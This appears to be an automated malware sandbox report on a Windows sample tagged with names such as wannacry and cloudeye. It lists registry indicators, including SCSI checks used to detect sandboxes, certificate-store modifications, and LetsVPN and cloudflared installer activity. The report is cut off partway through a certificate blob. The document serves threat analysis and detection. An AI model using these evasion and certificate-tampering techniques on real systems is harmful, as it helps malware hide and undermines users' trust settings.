Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LetsPRO.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LetsPRO.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
resource yara_rule behavioral2/memory/1080-717-0x0000000000980000-0x0000000000A72000-memory.dmp innosetup behavioral2/files/0x001a00000002b35c-715.dat innosetup behavioral2/memory/1080-812-0x0000000000980000-0x0000000000A72000-memory.dmp innosetup - Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Filters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Filters DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\LowerFilters DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\LowerFilters DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Filters DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\UpperFilters DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 DrvInst.exe - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3752 ipconfig.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\hnetcfgclient.dll,-201 = "HNetCfg Client" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs System.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs System.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs System.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs System.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs System.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" System.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing DrvInst.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 31 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\63F077E4B9669594C923F3A8CBE7B2EE msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\URL Protocol = "C:\\Program Files (x86)\\letsvpn\\app-3.16.9\\LetsPRO.exe" LetsPRO.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\DefaultIcon LetsPRO.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\DefaultIcon\ = "\"C:\\Program Files (x86)\\letsvpn\\app-3.16.9\\LetsPRO.exe\",1" LetsPRO.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\PackageName = "cf.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\shell\open\command LetsPRO.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\63F077E4B9669594C923F3A8CBE7B2EE\Complete msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\ProductName = "cloudflared" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\PackageCode = "A4020AECCD1B4A2429FDA8347BBAF2B7" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Version = "3909812225" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\ddf09f328239ae74ba25350858a5b421\63F077E4B9669594C923F3A8CBE7B2EE msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2 LetsPRO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\ddf09f328239ae74ba25350858a5b421 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\is-56TS2.tmp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\is-56TS2.tmp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\ = "letsvpn2Protocol" LetsPRO.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\shell\open\command\ = "\"C:\\Program Files (x86)\\letsvpn\\app-3.16.9\\LetsPRO.exe\" \"%1\"" LetsPRO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\shell\open LetsPRO.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\letsvpn2\shell LetsPRO.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\63F077E4B9669594C923F3A8CBE7B2EE\Assignment = "1" msiexec.exe - Modifies system certificate store 2 TTPs 9 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8094640EB5A7A1CA119C1FDDD59F810263A7FBD1 LetsPRO.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8094640EB5A7A1CA119C1FDDD59F810263A7FBD1\Blob = 0f0000000100000030000000ea09c51d4c3a334ce4acd2bc08c6a9be352e334f45c4fccfcab63edb9f82dc87d4bd2ed2fadae11163fb954809984ff153000000010000007e000000307c301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301f06092b06010401a032010230123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000056000000305406082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030906082b0601050507030106082b060105050703080b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d0020005200360000006200000001000000200000002cabeafe37d06ca22aba7391c0033d25982952c453647349763a3ab5ad6ccf697f0000000100000016000000301406082b0601050507030306082b06010505070309140000000100000014000000ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a01d0000000100000010000000521f5c98970d19a8e515ef6eeb6d48ef7a000000010000000c000000300a06082b060105050703097e00000001000000080000000080c82b6886d7010300000001000000140000008094640eb5a7a1ca119c1fddd59f810263a7fbd1200000000100000087050000308205833082036ba003020102020e45e6bb038333c3856548e6ff4551300d06092a864886f70d01010c0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3134313231303030303030305a170d3334313231303030303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523631133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820222300d06092a864886f70d01010105000382020f003082020a02820201009507e873ca66f9ec14ca7b3cf70d08f1b4450b2c82b448c6eb5b3cae83b841923314a46f7fe92accc6b0886bc5b689d1c6b2ff14ce511421ec4add1b5ac6d687ee4d3a1506ed64660b9280ca44de73944ef3a7897f4f786308c812506d42662f4db979284d521a8a1a80b719810e7ec48abc644c211c4368d73d3c8ac5b266d5909ab73106c5bee26d3206a61ef9b9ebaaa3b8bfbe826350d0f01889dfe40f79f5eaa21f2ad2702e7be7bc93bb6d53e2487c8c100738ff66b277617ee0ea8c3caab4a4f6f3954a12076dfd8cb289cfd0a06177c85874b0d4233af75d3acaa2db9d09de5d442d90f181cd5792fa7ebc50046334df6b9318be6b36b239e4ac2436b7f0efb61c135793b6deb2f8e285b773a2b835aa45f2e09d36a16f548af172566e2e88c55142441594eea3c538969b4e4e5a0b47f30636497730bc7137e5a6ec210875fce661163f77d5d99197840a6cd4024d74c014edfd39fb83f25e14a104b00be9feee8fe16e0bb208b36166096ab1063a659659c0f035fdc9da288d1a118770810aa89a751d9e3a8605009edb80d625f9dc059e27594c76395beaf9a5a1d8830fd1ffdf3011f985cf3348f5ca6d64142c7a584fd34b0849c595641a630e793df5b38cca58ad9c4245796e0e87195c54b165b6bf8c9bdc13e90d6fb82edc676ec98b11b584148a0019708379919791d41a27bf371e3207d814633c284caf0203010001a3633061300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414ae6c05a39313e2a2e7e2d71cd6c7f07fc86753a0301f0603551d23041830168014ae6c05a39313e2a2e7e2d71cd6c7f07fc